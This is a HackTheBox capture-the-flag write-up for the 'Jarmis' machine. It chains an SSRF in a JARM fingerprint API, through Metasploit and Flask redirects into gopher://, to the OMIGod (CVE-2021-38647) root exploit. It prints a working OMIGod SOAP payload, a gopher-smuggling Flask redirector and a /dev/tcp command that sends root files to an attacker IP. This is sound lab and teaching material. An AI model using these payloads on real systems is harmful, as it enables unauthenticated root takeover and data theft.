HTB: Jarmis Writeup
Jarmis - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Jarmis |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | jarmis.htb |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Jarmis exposes a single web application: a JARM TLS-fingerprint lookup/search API (jarmis.htb). The API’s “fetch” endpoint takes an arbitrary URL, computes its JARM signature, and — if that signature matches a known-malicious entry in its database — performs an additional metadata-grab request against the target. That extra request is attacker-controllable via redirect, and because the request is made with a client that follows gopher:// URLs, it becomes a generic SSRF primitive capable of crafting arbitrary raw TCP payloads. Internal-port enumeration through the SSRF reveals OMI (Open Management Infrastructure) listening on 5985/5986, vulnerable to CVE-2021-38647 (OMIGod) — unauthenticated remote command execution as root via a crafted SOAP request. Chaining a Metasploit SSL server (to produce the “Metasploit” malicious JARM and trigger the redirect) into a Flask TLS redirector (to turn the fetch into a gopher:// POST) delivers the OMIGod SOAP payload straight to OMI, yielding root RCE in a single request.
TL;DR: JARM fetch API → SSRF via redirect chain → internal port scan finds OMI (5985/5986) → dump JARM DB, find malicious Metasploit signature (id 154) → stand up MSF SSL server that produces that JARM → MSF redirects metadata-fetch to Flask (TLS) → Flask 301s to gopher://127.0.0.1:5985/_<POST /wsman SOAP> → CVE-2021-38647 (OMIGod) executes shell command as root → exfil both flags.
Reconnaissance
Web Enumeration
Target’s web app is a JARM search engine at jarmis.htb, exposing a REST API under /api/v1/. Key endpoints:
/api/v1/search/id/{n}— dump JARM DB record by ID/api/v1/search/signature/{sig}— search by signature/api/v1/fetch?endpoint={url}— fetches the JARM signature of a given URL; per the API docs, if the resulting signature is flaggedismalicious: true, the API makes an additional request to grab server metadata
SSRF via the fetch endpoint
The fetch endpoint’s metadata-grab request is the exploit surface. Confirmed it can be used as an internal port scanner:
# probe internal service via the API's SSRF-capable fetch parametercurl "http://jarmis.htb/api/v1/fetch?endpoint=http://localhost:5985"curl "http://jarmis.htb/api/v1/fetch?endpoint=https://10.10.15.68:9443"Enumerating internal localhost ports through this endpoint confirmed OMI listening on 5986 (TLS) — OMI’s default HTTPS management port. Port 5985 (plain HTTP) is the actual OMIGod target port.
Vulnerability Assessment
- JARM
fetchSSRF: attacker-controlled URL triggers a server-side request; if the resulting JARM matches a DB-flagged-malicious signature, the API performs a second, redirectable metadata request. - OMI on 5985/5986: Microsoft’s Open Management Infrastructure, vulnerable to CVE-2021-38647 (OMIGod) — a missing-authentication-header check lets an attacker POST a crafted SOAP
ExecuteShellCommandrequest and get unauthenticated RCE as root. - Gap between the two: the fetch API only makes its second request to a JARM-confirmed-malicious server, and only over plain HTTP(S)/TLS — not arbitrary gopher. Both gaps are bridgeable via redirects.
Initial Foothold
Step 1 — Dump the JARM database to find a spoofable malicious signature
# dump every record 0..222 from the JARM DBfor i in $(seq 0 222); do curl -s "http://jarmis.htb/api/v1/search/id/${i}" echodone > jarms_dump.jsonFiltering for "ismalicious": true entries surfaced record id 154, note: "Metasploit". This is the key insight: Metasploit’s default SSL stack produces a JARM signature already flagged malicious in the DB. Standing up any Metasploit module with SSL true on a listening port will cause the fetch API to flag it malicious and fire its second (metadata-grab) request against it — a request I control the response to.
Step 2 — Build a Metasploit module that produces the “Metasploit” JARM and redirects
Custom module jarmisredirect (auxiliary/server, Msf::Exploit::Remote::HttpServer mixin) does two things:
- Serves TLS on
:9443— its handshake naturally produces the DB’s maliciousMetasploitJARM. - On the incoming metadata-grab request, issues a redirect (
send_redirect) to a second-stage server I control.
# jarmisredirect.rb — trimmed to the relevant handlerclass MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer
def on_request_uri(cli, request) print_status("Got request from #{cli.peerhost}, redirecting to next stage") send_redirect(cli, datastore['REDIRECT_URL']) endendStarted in a tmux session on the jump box (backgrounding directly over SSH drops the session, so persistent shells were needed for MSF/Flask/nc):
tmux new-session -d -s jmsf "msfconsole -q -r /tmp/jarmis/msf.rc > /tmp/jarmis/msf.log 2>&1"Step 3 — Flask TLS redirector: HTTP redirect → gopher:// SSRF
The fetch API’s underlying HTTP client follows redirects and — critically — follows them cross-protocol into gopher://. Gopher has no concept of headers; whatever is placed after gopher://host:port/_ becomes the raw bytes sent to the socket. That lets the redirect chain smuggle an arbitrary raw POST request (headers + SOAP body) straight into OMI on 5985.
# flask_app.py — MSF's redirect lands here (TLS on :8443), then 301s into gopherfrom flask import Flask, redirectfrom urllib.parse import quote
app = Flask(__name__)
DATA = """<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell"xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration"xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"xmlns:xsi="http://www.w3.org/2001/XMLSchema"><s:Header><a:To>HTTP://127.0.0.1:5985/wsman/</a:To><w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI><a:ReplyTo><a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address></a:ReplyTo><a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action><w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize><a:MessageID>uuid:0AB58087-C2C3-0005-0000-000000010000</a:MessageID><w:OperationTimeout>PT1M30S</w:OperationTimeout><w:Locale xml:lang="en-us" s:mustUnderstand="false" /><p:DataLocale xml:lang="en-us" s:mustUnderstand="false" /><w:OptionSet s:mustUnderstand="true" /><w:SelectorSet><w:Selector Name="__cimnamespace">root/scx</w:Selector></w:SelectorSet></s:Header><s:Body><p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem"><p:command>{}</p:command><p:timeout>0</p:timeout></p:ExecuteShellCommand_INPUT></s:Body></s:Envelope>"""
REQUEST = """POST /wsman HTTP/1.1\rHost: localhost:5985\rUser-Agent: curl/7.74.0\rContent-Length: {length}\rContent-Type: application/soap+xml;charset=UTF-8\r\r{body}"""
@app.route('/')def root(): cmd = "bash -c 'cat /home/htb/user.txt /root/root.txt > /dev/tcp/10.10.15.68/4444'" body = DATA.format(cmd) # gopher appends a trailing \r\n itself — Content-Length must account for the +2 bytes req = REQUEST.format(length=len(body) + 2, body=body) return redirect(f'gopher://127.0.0.1:5985/_{quote(req, safe="")}', code=301)
if __name__ == "__main__": app.run(ssl_context='adhoc', host='0.0.0.0', port=8443)Why the +2 matters: gopher’s line-oriented protocol appends a trailing \r\n after the URL-selector payload it sends to the socket. If Content-Length doesn’t account for those 2 extra bytes, OMI’s HTTP parser waits for more body / mis-frames the request and the SOAP call never lands. Verified locally with curl -sk -i https://127.0.0.1:9443/ and by tailing the Flask/MSF logs before firing at the real target.
Step 4 — Fire the chain
# start listener for exfil, then trigger the whole SSRF -> OMIGod chainnohup nc -lvnp 4444 > /tmp/jarmis/loot.txt 2>&1 &curl "http://jarmis.htb/api/v1/fetch?endpoint=https://10.10.15.68:9443"Request flow: jarmis.htb fetch → TLS handshake to MSF :9443 (produces malicious Metasploit JARM, ismalicious: true set) → MSF’s on-request handler fires a 302 to Flask :8443 (TLS) → Flask 301s to gopher://127.0.0.1:5985/_<url-encoded POST /wsman SOAP body> → target’s fetch client follows the gopher redirect, opens a raw TCP connection to its own 127.0.0.1:5985, and dumps the constructed bytes verbatim → OMI parses it as a legitimate unauthenticated POST /wsman, executes <p:command> via CVE-2021-38647 (OMIGod) as root.
The API call itself returned an HTTP 502 — a benign timeout on the API’s side while it waited on the SSRF chain — but the exploit had already executed server-side by the time that response came back. Flags landed in the nc listener regardless:
User Flag: <redacted>Root Flag: <redacted>No shell-stabilization or lateral movement was needed — OMI itself runs as root, so the very first executed command already had root privileges. Both flags were exfiltrated directly via /dev/tcp redirection in the same OMIGod payload.
Privilege Escalation
Not applicable in the traditional sense — OMI’s SCX provider (SCX_OperatingSystem.ExecuteShellCommand) runs with root privileges by design, so the OMIGod RCE (CVE-2021-38647) delivers uid=0 immediately on first command execution. There was no intermediate low-privilege user context to escalate from; the entire chain is SSRF → direct root RCE.
Attack Chain Summary
JARM fetch API (SSRF primitive) → Internal port scan via /api/v1/fetch?endpoint=http://localhost:<port> → OMI found on 5985 (HTTP) / 5986 (TLS) → Dump JARM DB (/api/v1/search/id/0..222) → Malicious "Metasploit" signature found (id 154) → Metasploit SSL server (:9443, custom jarmisredirect module) → Produces malicious JARM → triggers API's 2nd "metadata-grab" request → Redirects that request to Flask (:8443, TLS) → Flask redirects (301) to gopher://127.0.0.1:5985/_<raw POST /wsman + SOAP> → Gopher smuggles arbitrary raw TCP payload, no headers required → OMI (CVE-2021-38647 / OMIGod) executes SCX_OperatingSystem.ExecuteShellCommand → Command runs as root → Exfil user.txt + root.txt via /dev/tcp → rootTools Used
| Tool | Purpose |
|---|---|
curl | API interaction, SSRF probing, internal port scan |
| Custom bash loop | JARM DB dump (/api/v1/search/id/0..222) |
Metasploit Framework (msfconsole) | Custom auxiliary/server module producing the malicious “Metasploit” JARM and redirecting the metadata-fetch |
| Flask (Python) | TLS redirector converting the HTTP redirect chain into a gopher:// SSRF payload |
gopher:// protocol | Header-less raw-TCP smuggling of the OMIGod SOAP POST request |
| CVE-2021-38647 (OMIGod) SOAP payload | Unauthenticated root RCE against OMI’s SCX_OperatingSystem provider |
nc | Flag exfiltration listener |
tmux | Persistent background sessions on jump box (MSF, Flask, nc listener) |
Key Learnings
Techniques Practiced
- Understanding and abusing JARM TLS fingerprinting as an SSRF trigger condition
- Internal network/port enumeration purely through a blind SSRF oracle
- Writing a custom Metasploit auxiliary server module to spoof a specific TLS fingerprint and hijack a server-initiated redirect
- Chaining HTTP redirects across protocols (HTTPS → HTTPS → gopher) to smuggle a raw, header-less TCP payload
- Exploiting CVE-2021-38647 (OMIGod) — crafting the SOAP
ExecuteShellCommandrequest and correctly accounting for gopher’s trailing-CRLF byte offset inContent-Length
Lessons Learned
- Any external API that “conditionally fetches metadata” based on attacker-influenced classification logic (here: a JARM DB match) is an SSRF trigger — the condition itself is bypassable if the classifier can be satisfied by tooling the attacker controls (Metasploit’s default TLS stack matching a known-bad signature).
- Redirect-following HTTP clients that also honor
gopher://turn any SSRF into a full raw-TCP-payload primitive, not just a GET-based blind SSRF — headers, verbs, and bodies become fully attacker-controlled. - OMI’s historical default of trusting requests missing the
Authorizationheader (CVE-2021-38647) is catastrophic specifically because OMI itself commonly runs as root — a single unauthenticated POST is full root RCE, no privilege escalation chain required. - Off-by-N framing bugs matter in raw-protocol smuggling: gopher’s implicit trailing
\r\nmust be added toContent-Lengthor the target’s HTTP parser stalls waiting for the rest of the body. - Transient error responses (502) from an orchestrating API don’t necessarily mean the underlying SSRF chain failed — the API’s own request timing out is independent of whether the smuggled payload already executed server-side.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Jarmis — HackTheBox Official Writeup by dotguy (Machine author: ippsec) — used for CVE identification (CVE-2021-38647 / OMIGod), the conceptual explanation of gopher-based SSRF smuggling, and the rationale for the Metasploit-JARM redirect chain. All IPs, commands, and outputs in this writeup are from the author’s own solve.